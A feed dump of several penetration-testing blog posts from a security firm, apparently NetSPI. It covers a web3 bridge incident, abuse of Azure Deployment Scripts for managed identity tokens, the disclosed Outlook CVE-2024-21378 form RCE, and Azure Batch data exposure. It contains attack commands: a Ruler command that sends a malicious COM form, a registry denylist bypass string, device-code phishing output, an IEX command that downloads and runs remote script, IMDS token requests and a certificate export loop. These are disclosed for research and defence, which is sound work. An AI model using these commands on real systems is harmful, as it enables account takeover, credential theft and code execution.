  • Specific transaction amounts: In theory, nothing would have stopped the attackers from generating a transaction hash for the entire EthVault contract’s balance, allowing them to steal an affected Vault contract’s balance in one transaction. However, for certain transactions, the attackers were seen to withdraw specific, repeating amounts from the vault contracts instead, particularly for USDT transactions. 
  • This may be because the attacker’s did not have direct access to the validator API, and instead accessed the API via a compromised intermediate downstream system (e.g., the bridge UI, some middleware API, etc). which only allowed specific amounts of a given token to be included in a hash value before it was signed. 

Possible initial access methods 

As for how the attackers got into a position to call the validator APIs for the required number of validator instances, the January 25, 2024, statement from Ozys describes the following details leading up to the incident: 

  • November 20, 2023: Ozys’ then CISO issues a voluntary retirement decision. 
  • November 22, 2023:  
  • Ozys’ then CISO had “arbitrarily changed firewall policies”. 
  • An information security specialist at Ozys then also “abruptly made the firewall vulnerable”. 
  • December 6, 2023: The information security specialist left the company. 

Not much is known about the bridge’s governance structure, or where the validators were hosted. However, if the details in the statement are indeed related to the incident, is possible that some means to access all validator instances existed internally in Ozys’ internal network, and that the attackers took advantage of the lax egress network controls to identify and abuse these means to interact with the validator APIs.  

A less likely scenario is that Ozys’ themselves maintained a relatively large pool of validators, which were deployed in (or otherwise accessible from) Ozys’ internal network. However, as each transaction executed by the attackers appeared to use signatured generated by different sets of validators, and as such this scenario would only be possible if a large majority of validators were under Ozys’ direct control. 

If the firewall issues were in fact incidental, then several other possibilities exist: 

  • The attackers may have instead independently identified the locations of the bridge validators and targeted the AWS environments of individual DAO participants.  
  • A server-side application security flaw (e.g., SSRF) in the bridge front-end or a similar dApp may have allowed attackers to target the validator APIs through downstream components. 
  • A client side attack against individual validator operators. 

Wider Implications  

Our research into the integration of web2 systems within the web3 environment reveals a complex landscape of security challenges. The findings point to a broader trend in the emerging web3 landscape: the persistence of web2 security issues in new, decentralized contexts.  

As the industry moves forward, it’s imperative to apply lessons learned from decades securing traditional system architectures to strengthen the resilience of web3 systems. This involves not only patching known vulnerabilities but also adopting a proactive approach to security, anticipating how attackers might exploit the interconnected nature of modern digital infrastructures.  

References 

Move beyond the challenge of digital asset acceptance with NetSPI’s blockchain security services. Optimize Blockchain Use.

The post Web2 Bugs in Web3 Systems appeared first on NetSPI.

]]>
Azure Deployment Scripts: Assuming User-Assigned Managed Identities https://www.netspi.com/blog/technical/cloud-penetration-testing/azure-user-assigned-managed-identities-via-deployment-scripts/ Thu, 14 Mar 2024 13:00:00 +0000 https://www.netspi.com/?p=32110 Learn how to use Deployment Scripts to complete faster privilege escalation with Azure User-Assigned Managed Identities.

The post Azure Deployment Scripts: Assuming User-Assigned Managed Identities appeared first on NetSPI.

]]>
As Azure penetration testers, we often run into overly permissioned User-Assigned Managed Identities. This type of Managed Identity is a subscription level resource that can be applied to multiple other Azure resources. Once applied to another resource, it allows the resource to utilize the associated Entra ID identity to authenticate and gain access to other Azure resources. These are typically used in cases where Azure engineers want to easily share specific permissions with multiple Azure resources. An attacker, with the correct permissions in a subscription, can assign these identities to resources that they control, and can get access to the permissions of the identity. 

When we attempt to escalate our permissions with an available User-Assigned Managed Identity, we can typically choose from one of the following services to attach the identity to:

Once we attach the identity to the resource, we can then use that service to generate a token (to use with Microsoft APIs) or take actions as that identity within the service. We’ve linked out on the above list to some blogs that show how to use those services to attack Managed Identities. 

The last item on that list (Deployment Scripts) is a more recent addition (2023). After taking a look at Rogier Dijkman’s post – “Project Miaow (Privilege Escalation from an ARM template)” – we started making more use of the Deployment Scripts as a method for “borrowing” User-Assigned Managed Identities. We will use this post to expand on Rogier’s blog and show a new MicroBurst function that automates this attack.

TL;DR 

  • Attackers may get access to a role that allows assigning a Managed Identity to a resource 
  • Deployment Scripts allow attackers to attach a User-Assigned Managed Identity 
  • The Managed Identity can be used (via Az PowerShell or AZ CLI) to take actions in the Deployment Scripts container 
  • Depending on the permissions of the Managed Identity, this can be used for privilege escalation 
  • We wrote a tool to automate this process 

What are Deployment Scripts? 

As an alternative to running local scripts for configuring deployed Azure resources, the Azure Deployment Scripts service allows users to run code in a containerized Azure environment. The containers themselves are created as “Container Instances” resources in the Subscription and are linked to the Deployment Script resources. There is also a supporting “*azscripts” Storage Account that gets created for the storage of the Deployment Script file resources. This service can be a convenient way to create more complex resource deployments in a subscription, while keeping everything contained in one ARM template.

In Rogier’s blog, he shows how an attacker with minimal permissions can abuse their Deployment Script permissions to attach a Managed Identity (with the Owner Role) and promote their own user to Owner. During an Azure penetration test, we don’t often need to follow that exact scenario. In many cases, we just need to get a token for the Managed Identity to temporarily use with the various Microsoft APIs.

Automating the Process

In situations where we have escalated to some level of “write” permissions in Azure, we usually want to do a review of available Managed Identities that we can use, and the roles attached to those identities. This process technically applies to both System-Assigned and User-Assigned Managed Identities, but we will be focusing on User-Assigned for this post.

Link to the Script – https://github.com/NetSPI/MicroBurst/blob/master/Az/Invoke-AzUADeploymentScript.ps1

This is a pretty simple process for User-Assigned Managed Identities. We can use the following one-liner to enumerate all of the roles applied to a User-Assigned Managed Identity in a subscription:

Get-AzUserAssignedIdentity | ForEach-Object { Get-AzRoleAssignment -ObjectId $_.PrincipalId }

Keep in mind that the Get-AzRoleAssignment call listed above will only get the role assignments that your authenticated user can read. There is potential that a Managed Identity has permissions in other subscriptions that you don’t have access to. The Invoke-AzUADeploymentScript function will attempt to enumerate all available roles assigned to the identities that you have access to, but keep in mind that the identity may have roles in Subscriptions (or Management Groups) that you don’t have read permissions on.

Once we have an identity to target, we can assign it to a resource (a Deployment Script) and generate tokens for the identity. Below is an overview of how we automate this process in the Invoke-AzUADeploymentScript function:

  • Enumerate available User-Assigned Managed Identities and their role assignments
  • Select the identity to target
  • Generate the malicious Deployment Script ARM template
  • Create a randomly named Deployment Script with the template
  • Get the output from the Deployment Script
  • Remove the Deployment Script and Resource Group Deployment

Since we don’t have an easy way of determining if your current user can create a Deployment Script in a given Resource Group, the script assumes that you have Contributor (Write permissions) on the Resource Group containing the User-Assigned Managed Identity, and will use that Resource Group for the Deployment Script.

If you want to deploy your Deployment Script to a different Resource Group in the same Subscription, you can use the “-ResourceGroup” parameter. If you want to deploy your Deployment Script to a different Subscription in the same Tenant, use the “-DeploymentSubscriptionID” parameter and the “-ResourceGroup” parameter.

Finally, you can specify the scope of the tokens being generated by the function with the “-TokenScope” parameter.

Example Usage:

We have three different use cases for the function:

  1. Deploy to the Resource Group containing the target User-Assigned Managed Identity
Invoke-AzUADeploymentScript -Verbose
  1. Deploy to a different Resource Group in the same Subscription
Invoke-AzUADeploymentScript -Verbose -ResourceGroup "ExampleRG"
  1. Deploy to a Resource Group in a different Subscription in the same tenant
Invoke-AzUADeploymentScript -Verbose -ResourceGroup "OtherExampleRG" -DeploymentSubscriptionID "00000000-0000-0000-0000-000000000000"

*Where “00000000-0000-0000-0000-000000000000” is the Subscription ID that you want to deploy to, and “OtherExampleRG” is the Resource Group in that Subscription.

Additional Use Cases

Outside of the default action of generating temporary Managed Identity tokens, the function allows you to take advantage of the container environment to take actions with the Managed Identity from a (generally) trusted space. You can run specific commands as the Managed Identity using the “-Command” flag on the function. This is nice for obfuscating the source of your actions, as the usage of the Managed Identity will track back to the Deployment Script, versus using generated tokens away from the container.

Below are a couple of potential use cases and commands to use:

  • Run commands on VMs
  • Create RBAC Role Assignments
  • Dump Key Vaults, Storage Account Keys, etc.

Since the function expects string data as the output from the Deployment Script, make sure that you format your “-command” output in the parameter to ensure that your command output is returned.

Example:

Invoke-AzUADeploymentScript -Verbose -Command "Get-AzResource | ConvertTo-Json”

Lastly, if you’re running any particularly complex commands, then you may be better off loading in your PowerShell code from an external source as your “–Command” parameter. Using the Invoke-Expression (IEX) function in PowerShell is a handy way to do this.

Example:

IEX(New-Object System.Net.WebClient).DownloadString(‘https://example.com/DeploymentExec.ps1’) |  Out-String

Indicators of Compromise (IoCs)

We’ve included the primary IoCs that defenders can use to identify these attacks. These are listed in the expected chronological order for the attack.

Operation NameDescription
Microsoft.Resources/deployments/validate/actionValidate Deployment
Microsoft.Resources/deployments/writeCreate Deployment
Microsoft.Resources/deploymentScripts/writeWrite Deployment Script
Microsoft.Storage/storageAccounts/writeCreate/Update Storage Account
Microsoft.Storage/storageAccounts/listKeys/actionList Storage Account Keys
Microsoft.ContainerInstance/containerGroups/writeCreate/Update Container Group
Microsoft.Resources/deploymentScripts/deleteDelete Deployment Script
Microsoft.Resources/deployments/deleteDelete Deployment

It’s important to note the final “delete” items on the list, as the function does clean up after itself and should not leave behind any resources.

Conclusion

While Deployment Scripts and User-Assigned Managed Identities are convenient for deploying resources in Azure, administrators of an Azure subscription need to keep a close eye on the permissions granted to users and Managed Identities. A slightly over-permissioned user with access to a significantly over-permissioned Managed Identity is a recipe for a fast privilege escalation.

References:

The post Azure Deployment Scripts: Assuming User-Assigned Managed Identities appeared first on NetSPI.

]]>
CVE-2024-21378 — Remote Code Execution in Microsoft Outlook  https://www.netspi.com/blog/technical/red-team-operations/microsoft-outlook-remote-code-execution-cve-2024-21378/ Mon, 11 Mar 2024 13:00:00 +0000 https://www.netspi.com/?p=32009 NetSPI discovered that Microsoft Outlook was vulnerable to authenticated remote code execution (RCE) via synced form objects. Learn how NetSPI discovered and exploited the vulnerability.

The post CVE-2024-21378 — Remote Code Execution in Microsoft Outlook  appeared first on NetSPI.

]]>
In 2023 NetSPI discovered that Microsoft Outlook was vulnerable to authenticated remote code execution (RCE) via synced form objects. This blog will cover how we discovered CVE-2024-21378 and weaponized it by modifying Ruler, an Outlook penetration testing tool published by SensePost. Note, a pull request containing the proof-of-concept code is forthcoming to provide organizations with sufficient time to patch.

Edit: The pull request containing the PoC can be found at https://github.com/sensepost/ruler/pull/144

An Overview of the Vulnerability 

The original variant of this attack was documented by Etienne Stalmans at SensePost (Orange CyberDefense) in 2017 and leveraged VBScript code inside Outlook form objects to obtain code execution with access to a mailbox. In response, a patch was issued to enforce allowlisting for script code in custom forms. However, the syncing capability of these form objects was never altered. 

Underneath, forms are MAPI synced using IPM.Microsoft.FolderDesign.FormsDescription objects. These objects carry special properties and attachments which are used to “install” the form when it’s first used on a client. Below is an overview of this procedure: 

  1. Outlook requests the instantiation of a particular message class (IPM.Note.Evil). 
  2. The MAPI associated contents table of the relevant folder is consulted for IPM.Microsoft.FolderDesign.FormsDescription objects. 
  3. If the classname stored in the PidTagOfflineAddressBookName property matches, the form installation process starts. 
  4. The PidTagOfflineAddressBookDistinguishedName is used as the CLSID for the new form install (all forms are COM objects). 
  5. The first attachment of the form description and a special property, 0x6902001F, determines what registry keys need to be added under the CLSID to install the form. 
  • In older style forms (“Forms that bypass outlook”), these registry values typically include InProcServer keys or equivalents that bond to DLLs extracted to disk. 
  • In newer forms, Outlook-specific MsgClass keys are used to bond the form to an OLE object extracted to disk. 
  • Inside any of these keys, %d can be used to refer to the directory where the remaining form attachments are extracted (%localappdata%\Microsoft\FORMS). 
  1. After the registry changes are confirmed, Outlook proceeds to load the form as a COM object. 

There were some serious issues with this process: 

  • When extracting the attachments to %localappdata%\Microsoft\FORMS, you can perform path traversal via the PidTagAttachFilename property. You can also have multiple files written to disk. This essentially is an arbitrary disk write primitive anytime the form is installed. 
  • When creating registry keys for the form, the 0x6902001F property data is
    broken by newline expecting key=value lines. Each line is processed where
    key is a subkey of the CLSID root, and value is the default value for that key.
    To prevent “Forms that bypass outlook”, a denylist of typical COM server keys
    (InProcServer, LocalServer, etc.) is compared against the start of each line
    (OLMAPI32.DLL). However, when installing the value, you can use a leading \
    character to imply a full subkey path under HKCR. For instance,
    \CLSID\<CLSID>\InprocServer32=%d\evil.dll will bypass the denylist check
    and result in a full COM object registration for the form. 

We found that we had the ability to create arbitrary files on disk, as well as install arbitrary registry keys (with default values) under HKEY\_CLASSES\_ROOT (HKCR). These primitives are enough to gain trivial RCE.

In-Depth Review

Colloquially, we consider this to be the fourth iteration of a series of attacks based on the premise of using compromised credentials to sync objects through Exchange. In late 2015, Nick Landers, Co-Founder of Dreadnode, published a blog on the abuse of Outlook Rules for RCE. Over the next couple of years Etienne (SensePost) and Nick dual discovered two additional sets of vectors which were eventually patched by Microsoft, including the abuse of Outlook Forms. SensePost released an excellent set of blogs (see references) digging into the vulnerabilities and underlying technologies as well as the exploitation tool, Ruler

We intended to come back to this research as we felt that Outlook features a vast, underexplored attack surface and our repeated success on engagements over the last couple of years with Device Code phishing/vishing was the final push we needed.  

We began our research by manually exploring Outlook forms from the Outlook Client, as well as, with MFCMAPI and ProcMon. We will keep an overview of the underlying technology high-level, but essentially the various items available through Outlook (messages, calendar invites, tasks, etc.) are displayed through a form structure in an “inspector window”. Outlook both contains standard forms and allows custom forms that can be published and synced through Exchange (including Exchange Online). 

During our research we came upon the format of form configuration files which can be used to install a custom form. Of particular interest were the file and registry entries.

The File entry lists the form server application executable file that the form library maintains and loads into a new subdirectory in the disk cache when the form is launched…  
The Registry entry is used whenever the File entry is used, it identifies the registry key for the form library where the executable file for the form server application is stored…

We first attempted to prove out local code execution. Below is an example form config that we can import directly into Outlook to install a form. We set the File entry to the location of a DLL we would like to install with our form and saved this file to c:\poc\hello.cfg. 

[Description] 
MessageClass=IPM.Note.Hello 
CLSID={00000000-1234-1234-1234-000000000000} 
DisplayName=Hello 
Category=Standard 
Subcategory=Form 
Comment=Hello 
SmallIcon=C:\Windows\SysWOW64\OneDrive.ico 
LargeIcon=C:\Windows\SysWOW64\OneDrive.ico 

[Platforms] 
Platform1=Win16 

[Platform.Win16] 
CPU=ix86 
OSVersion=Win3.1 
File = C:\poc\hello.dll 
Registry = InprocServer32 = %d\hello.dll 

For testing purposes, we compiled a DLL with an execution primitive inside DllMain and again, placed it within the same folder as our hello.cfg file above.

#include <Windows.h> 

BOOL APIENTRY DllMain(HMODULE module, DWORD reason, LPVOID reserved) { 

     if (reason == DLL_PROCESS_ATTACH) { 

     MessageBoxA(0, "Hello", "Ruh Roh", 0); 

     } 

     return TRUE;

}

The configuration file can then be used to install a form within Outlook by navigating to File -> Options -> Advanced -> Custom Forms and selecting the hello.cfg file.

Note: we set the location to Inbox when installing the custom form via config file. 

Navigating to the Forms Manager
Installing the custom form config file in the Inbox folder
Verifying the form has been installed

We then proceeded to select the Developer tab -> Choose Form and open our newly created form.

Attempting to open our newly installed form

Well, not ideal but we remembered seeing a potentially related configuration when installing the form config file. We make the change and retry.

Custom form option related to our previous selection

Better! We confirmed execution of an arbitrary DLL, but we still have a bit to go towards anything useful. On the backend, upon installing the form the configuration file was converted to an IPM.Microsoft.FolderDesign.FormsDescription Message Class object and stored within the Inbox directory in Outlook. A review of the associated registry key after choosing the custom form from the developer tab revealed that our DLL was stored in %localappdata%\Microsoft\FORMS\IPM.Note.Hello, confirming not only execution but also seemingly arbitrary registry writes, and file write to disk.

To gain a better understanding of what was happening underneath the hood we started exploring the contents of Outlook with MFCMAPI. Outlook contains your email but it’s also a database, and we can think of MFCMAPI as essentially a database exploration tool that provides you with access to properties and objects that are not otherwise visible in the Outlook client. From within MFCMAPI we right clicked on our Inbox (since that is where we saved our custom form) and navigated to the “Open associated contents table” button where we found the new form and its various properties.

Reviewing the hidden contents table for our Inbox Folder

As we explored how to recreate the IPM.Microsoft.FolderDesign.FormsDescription
objects in code, we began asking ourselves, “what is the difference between a form that can be installed and a form that ‘bypasses Outlook’? What makes that determination?” 

The property that seemed the most immediately relevant was the “PidTagOfflineAddressBookDistinguishedName” or “PR_OAB_DN”. This property tag contained the COM GUID that we have assigned in the configuration file, which ultimately defines what COM CLSID the form was eventually registered as. This was interesting because it seemed that we could create any registry key under HKCR and set it’s (default) value. Additionally, if the CLSID is arbitrary then what is stopping us from putting in the CLSID of an existing object and performing a classic COM hijack? Again, SensePost provides an overview of these property tags and their importance so we will refrain from re-stating the same here.

Property tags and their value for the IPM.Note.Hello form

We then right clicked on the form, selected “Attachments -> Display attachments table” and found the form contained several attachments, including the DLL to be registered through the form message object. Within the first attachment we also found our registry key information within a couple of property tags. We noticed the PR_ATTACH_DATA_BIN property did not seem important as we could hollow out the contents and sync the form back to Outlook with no effect. We discovered that the value for the 0x6902001F
property determined what registry keys need to be added under the CLSID to install the form – another seemingly critical component. Within the first attachment we also found our registry key information within a couple of property tags.

The form attachments table in MFCMAPI

We then used Ruler to send ourselves a form intended to execute a VBScript and began comparing it to our COM DLL execution form. Reviewing the results, we confirm that the values passed in the 0x6902001F property tag were used to set registry keys.

Testing various inputs in the 0x6092001F property tag
Reviewing the results in the registry 

We also found that adding InProcServer32, to the VBScript form keys and syncing the form back to Outlook via MFCMAPI would cause a failure as we would receive the “Forms that bypass Outlook cannot be installed” error. We could clearly see this was a denylist as any other key we set would be created.

This brought us to a new line of questioning, the first being where is this denylist implemented? Could we circumvent this denylist through alternative registry keys that would not be on the denylist but would still allow us to gain code execution or execute a COM hijack? Do they limit the GUID? If we supply a GUID of a CLSID that already exists, would that work, append to the registry, or fail out? But then again, it seemed arbitrary, whatever keys we put in the form would simply be created, which seemed to us like just a bad policy.

We decided to start hunting for where the denylist was occurring. This is a bit tricky because Outlook is a beast to decompile, but we might be able to get there with help from ProcMon. We open ProcMon and execute the form one more time specifically filtering for our COM GUID.

Reviewing the stack in Process Monitor

As you can see above the last call in the stack before RegOpenKeyExA follows from a function call in OLMAPI32.DLL. We begin decompiling OLMAPI32.DLL and meander through functions and their references, ScOpenRegKey -> RegisterFormClass -> HrDownloadFormFiles, until we eventually come upon a familiar looking property tag, 0x6902001F! Well, we find 0x6902001E which is the ASCII version of our original property tag.

Jumping to our address identified in ProcMon
Reviewing references to ScOpenRegKey and discovering RegisterFormClass
Selecting a reference to RegisterFormClass
Discovering our property tag of interest within the RegisterFormClass function

Reviewing RegisterFormClass once again we find our check function (sub_1803DF094) and the denylist variable (v8 = (LPCSTR *)off_1806DAB0). 

Note: some of the variable and function names below have been modified for clarity.

The check function and denylist variable (names modified)
Our sought after denylist variable

Reviewing the delta between the denylist check and the installation we find a simple bypass using a relative path by prefacing each new line with “\”. For example, “InprocServer32=%d\evil.dll” was blocked whereas “\CLSID\{00000000-1234-1234-1234-FEED00000000}\InprocServer32=%d\evil.dll” was not blocked.

__int64 ApplyRegistryKeysFromString(HKEY regKey, LPCSTR path, LPCSTR lpSubKey, char *value) {
    HKEY hKey = 0;
    int pathLen = strlen(path);
    char *block = strdup(value);
    if (!block) return 2147942414;

    char *lineStart = block;
    while (lineStart && *lineStart) {
        const char *lineEnd = strchr(lineStart, 10);
        if (lineEnd) {
            *lineEnd = 0;
            lineEnd++;
        }

        char *equalSign = strchr(lineStart, 61);
        const char *keyValue = equalSign ? equalSign + 1 : “SzNull”;

        if (equalSign) *equalSign = 0;

        if (*lineStart == ‘\\’) {
            if (ScOpenRegKey(&hKey, HKEY_CLASSES_ROOT, lineStart + 1, 2, 1) == 0) {
                if (RegSetValueA(hKey, 0, 1, keyValue, strlen(keyValue)) != 0) {
                    return -2147221167;
                }
            }
        } else {
            if (ScSetRegValue(&hKey, regKey, lineStart, keyValue, strlen(keyValue)) != 0) {
                return -2147221167;
            }
        }

        lineStart = (char *)lineEnd;
    }

    free(block);
    return 0;
}

Our research demonstrated that as an authenticated user we could: 

  • Create any registry key under HKCR and set the key’s (default) value
  • Place any number of files at an arbitrary location on disk
  • Create a form that when executed would lead to Outlook loading the registered COM object by CLSID.

Weaponization

As mentioned at the beginning of this article, a main driver for our research was our success with Device Code authentication token abuse during Red Team engagements. Having identified a vulnerability we could exploit for remote code execution, we proceeded to fork and modify Ruler to support authentication to Exchange Online via compromised access tokens. We considered various execution techniques but for the purpose of this proof-of-concept we kept it simple by adding code to sync a form containing the required properties to execute an arbitrary COM compliant native DLL. The public fork containing the PoC code will be found here along with a pull request to the original repo at a later date.

Some initial OpSec concerns we identified off the bat:

  • Triggering the form requires user interaction for execution (although some further digging might reveal automated execution).
  • The DLL will be extracted to the well-known FORMS directory, which could be monitored from historical attacks.
  • CLSID changes in the registry are executed by the Outlook process.
  • The DLL will be loaded into the Outlook process.

Below we provide a high-level overview for a general exploitation flow:

  1. Obtain credential material for a targeted user.
  2. Create a COM compliant DLL that we want to execute.
  3. Specify our credential material, DLL and other required/optional parameters to Ruler.
  4. Ruler will authenticate to the Exchange Server/Exchange Online and send the form as an email.
  5. The user will then need to trigger the form by either clicking, forwarding, or printing the email from their Microsoft Outlook thick client on a Windows device.
  6. Execution of the form will create the registry keys, drop the DLL to disk and load the DLL into the Outlook process.

In this section, we will walk through practical exploitation of the issue. First, we obtain refresh tokens via device code phishing/vishing using our weapon of choice, in this case TokenTactics.

PS C:\TokenTactics> Import-Module .\TokenTactics.psd1
PS C:\TokenTactics> Get-AzureToken -Client Outlook
user_code        : L78NMWTT3
device_code      : [REDACTED]              
verification_url : https://microsoft.com/devicelogin
expires_in       : 900
interval         : 5
message          : To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code L78NMWTT3 to authenticate.

authorization_pending
token_type     : Bearer
scope          : AuditLog.Read.All 
[TRUNCATED]
expires_in     : 8492
ext_expires_in : 8492
expires_on     : 1697842572
not_before     : 1697833779
resource       : https://graph.microsoft.com/
access_token   : eyJ0[REDACTED]

PS C:\TokenTactics> $response.access_token | clip

After compiling a COM DLL, we send the form using our fork of Ruler. Below is an example Ruler command, note that the order of the provided arguments matters. Ruler will authenticate to Exchange Online with our Outlook access token and send a form as an email message that includes the DLL file. 

$ go run .\ruler.go --token "[REDACTED]" --email user@example.com --o365 --debug form add-com --dll evil.dll --suffix Evil -s
[+] Found cached Autodiscover record. Using this (use --nocache to force new lookup)
[+] Create Form Pointer Attachment with data:  \CLSID\{00000000-1234-1234-1234-FEED00000000}\InprocServer32=%d\Microsoft.Teams.Shim.dll
Starting Upload
Writing final piece 0 of 0
[+] Create Form Template Attachment
Starting Upload
Writing 0 of 43
[TRUNCATED]
Writing final piece 43 of 43
[+] Form created successfully:  IPM.Note.Evil
[+] Sending email.
[+] Email sent!

Again, in the example above we have created a new form and sent a trigger email to the compromised email account (from itself). Although the form is installed, execution will not occur unless the trigger email is clicked (viewed in the preview pane), forwarded, or printed from within the Outlook thick client. 

Let’s take a look at some of the possible arguments for our new functionality in form add-com.

$ go run ruler.go form add-com -h                                                                                                                                                         
NAME:
   ruler form add-com - creates a new COM based form.

USAGE:
   ruler form add-com [command options] [arguments...]

OPTIONS:
   --suffix value           A 3 character suffix for the form. Defaults to pew (default: "pew")
   --dll value, -d value    A path to a the COM DLL file to execute
   --clsid value, -c value  CLSID to use for the remote registration (default: "random")
   --name value, -n value   The DLL name on the remote system (default: "Microsoft.Teams.Shim.dll")
   --hidden                 Attempt to hide the form.
   --send, -s               Trigger the form once it's been created
   --body value, -b value   The email body you may wish to use (default: "This message cannot be displayed in the previewer.\n\n\n\n\n")
   --subject value          The subject you wish to use, this should contain your trigger word (default: "Exchange Quarantine Report")

There are obviously some OpSec considerations left up to the reader.

Conclusion

Microsoft has released patches for CVE-2024-21378 (see the MSRC update guidance for your version of Outlook and/or Office) and we hope delaying this post a bit has given organizations a head start. We also hope that this brings back attention to what we think is a yet to be fully explored attack surface (and how shallow some protections can be). Discovering the vulnerability and bypassing it wasn’t overly complicated – we took the normal hacker-ish approach of trying to push our understanding of the underlying technology and protocols a bit further, not to mention, building on top of previous research certainly helps.

For defensive teams, Microsoft has previously published guidance regarding detecting and remediating Outlook rule and forms abuse, https://learn.microsoft.com/en-us/microsoft-365/security/office-365-security/detect-and-remediate-outlook-rules-forms-attack?view=o365-worldwide.

Timeline:

  • Sept 29, 2023 – Vulnerability submitted to Microsoft.
  • Oct 2, 2023 – Microsoft opens case.
  • Oct 25, 2023 – Microsoft confirmed the behavior reported and states that they will continue their investigation and determine how to address this issue.
  • Feb 04, 2024 – Confirmation from Microsoft that a fix will be released in the following patching cycle.
  • Feb 13, 2024 – Fix for CVE-2024-21378 is released and case is closed.
  • Feb 28, 2024 – Errors in CVE FAQ and CVSS reported to Microsoft.
  • Mar 04, 2024 – Microsoft acknowledges they received the details and begins coordination with internal stakeholders.
  • Mar 05, 2024 – Microsoft updates CVE to address FAQ and CVSS errors.
  • Mar 11, 2024 –NetSPI published vulnerability and exploit details without the POC
  • Mar 18, 2024 – NetSPI published PoC

References:

The post CVE-2024-21378 — Remote Code Execution in Microsoft Outlook  appeared first on NetSPI.

]]>
Extracting Sensitive Information from the Azure Batch Service  https://www.netspi.com/blog/technical/cloud-penetration-testing/extracting-sensitive-information-from-azure-batch-service/ Wed, 28 Feb 2024 16:41:24 +0000 https://www.netspi.com/?p=31943 The added power and scalability of Batch Service helps users run workloads significantly faster, but misconfigurations can unintentionally expose sensitive data.

The post Extracting Sensitive Information from the Azure Batch Service  appeared first on NetSPI.

]]>
We’ve recently seen an increased adoption of the Azure Batch service in customer subscriptions. As part of this, we’ve taken some time to dive into each component of the Batch service to help identify any potential areas for misconfigurations and sensitive data exposure. This research time has given us a few key areas to look at in the Azure Batch service, that we will cover in this blog. 

TL;DR

  • Azure Batch allows for scalable compute job execution
    • Think large data sets and High Performance Computing (HPC) applications 
  • Attackers with Reader access to Batch can: 
    • Read sensitive data from job outputs 
    • Gain access to SAS tokens for Storage Account files attached to the jobs 
  • Attackers with Contributor access can: 
    • Run jobs on the batch pool nodes 
    • Generate Managed Identity tokens 
    • Gather Batch Access Keys for job execution persistence 

The Azure Batch service functions as a middle ground between Azure Automation Accounts and a full deployment of an individual Virtual Machine to run compute jobs in Azure. This in-between space allows users of the service to spin up pools that have the necessary resource power, without the overhead of creating and managing a dedicated virtual system. This scalable service is well suited for high performance computing (HPC) applications, and easily integrates with the Storage Account service to support processing of large data sets. 

While there is a bit of a learning curve for getting code to run in the Batch service, the added power and scalability of the service can help users run workloads significantly faster than some of the similar Azure services. But as with any Azure service, misconfigurations (or issues with the service itself) can unintentionally expose sensitive information.

Service Background – Pools 

The Batch service relies on “Pools” of worker nodes. When the pools are created, there are multiple components you can configure that the worker nodes will inherit. Some important ones are highlighted here: 

  • User-Assigned Managed Identity 
    • Can be shared across the pool to allow workers to act as a specific Managed Identity 
  • Mount configuration 
    • Using a Storage Account Key or SAS token, you can add data storage mounts to the pool 
  • Application packages 
    • These are applications/executables that you can make available to the pool 
  • Certificates 
    • This is a feature that will be deprecated in 2024, but it could be used to make certificates available to the pool, including App Registration credentials 

The last pool configuration item that we will cover is the “Start Task” configuration. The Start Task is used to set up the nodes in the pool, as they’re spun up.

The “Resource files” for the pool allow you to select blobs or containers to make available for the “Start Task”. The nice thing about the option is that it will generate the Storage Account SAS tokens for you.

While Contributor permissions are required to generate those SAS tokens, the tokens will get exposed to anyone with Reader permissions on the Batch account.

We have reported this issue to MSRC (see disclosure timeline below), as it’s an information disclosure issue, but this is considered expected application behavior. These SAS tokens are configured with Read and List permissions for the container, so an attacker with access to the SAS URL would have the ability to read all of the files in the Storage Account Container. The default window for these tokens is 7 days, so the window is slightly limited, but we have seen tokens configured with longer expiration times.

The last item that we will cover for the pool start task is the “Environment settings”. It’s not uncommon for us to see sensitive information passed into cloud services (regardless of the provider) via environmental variables. Your mileage may vary with each Batch account that you look at, but we’ve had good luck with finding sensitive information in these variables.

Service Background – Jobs

Once a pool has been configured, it can have jobs assigned to it. Each job has tasks that can be assigned to it. From a practical perspective, you can think of tasks as the same as the pool start tasks. They share many of the same configuration settings, but they just define the task level execution, versus the pool level. There are differences in how each one is functionally used, but from a security perspective, we’re looking at the same configuration items (Resource Files, Environment Settings, etc.). 

Generating Managed Identity Tokens from Batch

With Contributor rights on the Batch service, we can create new (or modify existing) pools, jobs, and tasks. By modifying existing configurations, we can make use of the already assigned Managed Identities. 

If there’s a User Assigned Managed Identity that you’d like to generate tokens for, that isn’t already used in Batch, your best bet is to create a new pool. Keep in mind that pool creation can be a little difficult. When we started investigating the service, we had to request a pool quota increase just to start using the service. So, keep that in mind if you’re thinking about creating a new pool.

To generate Managed Identity Tokens with the Jobs functionality, we will need to create new tasks to run under a job. Jobs need to be in an “Active” state to add a new task to an existing job. Jobs that have already completed won’t let you add new tasks.

In any case, you will need to make a call to the IMDS service, much like you would for a typical Virtual Machine, or a VM Scale Set Node.

(Invoke-WebRequest -Uri ‘http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/’ -Method GET -Headers @{Metadata=”true”} -UseBasicParsing).Content

To make Managed Identity token generation easier, we’ve included some helpful shortcuts in the MicroBurst repository – https://github.com/NetSPI/MicroBurst/tree/master/Misc/Shortcuts

If you’re new to escalating with Managed Identities in Azure, here are a few posts that will be helpful:

Alternatively, you may also be able to directly access the nodes in the pool via RDP or SSH. This can be done by navigating the Batch resource menus into the individual nodes (Batch Account -> Pools -> Nodes -> Name of the Node -> Connect). From here, you can generate credentials for a local user account on the node (or use an existing user) and connect to the node via SSH or RDP.

Once you’ve authenticated to the node, you will have full access to generate tokens and access files on the host.

Exporting Certificates from Batch Nodes

While this part of the service is being deprecated (February 29, 2024), we thought it would be good to highlight how an attacker might be able to extract certificates from existing node pools. It’s unclear how long those certificates will stick around after they’ve been deprecated, so your mileage may vary.

If there are certificates configured for the Pool, you can review them in the pool settings.

Once you have the certificate locations identified (either CurrentUser or LocalMachine), appropriately modify and use the following commands to export the certificates to Base64 data. You can run these commands via tasks, or by directly accessing the nodes.

$mypwd = ConvertTo-SecureString -String "TotallyNotaHardcodedPassword..." -Force -AsPlainText
Get-ChildItem -Path cert:\currentUser\my\| ForEach-Object{ 
    try{ Export-PfxCertificate -cert $_.PSPath -FilePath (-join($_.PSChildName,'.pfx')) -Password $mypwd | Out-Null
    [Convert]::ToBase64String([IO.File]::ReadAllBytes((-join($PWD,'\',$_.PSChildName,'.pfx'))))
    remove-item (-join($PWD,'\',$_.PSChildName,'.pfx'))
    }
    catch{}
}

Once you have the Base64 versions of the certificates, set the $b64 variable to the certificate data and use the following PowerShell code to write the file to disk.

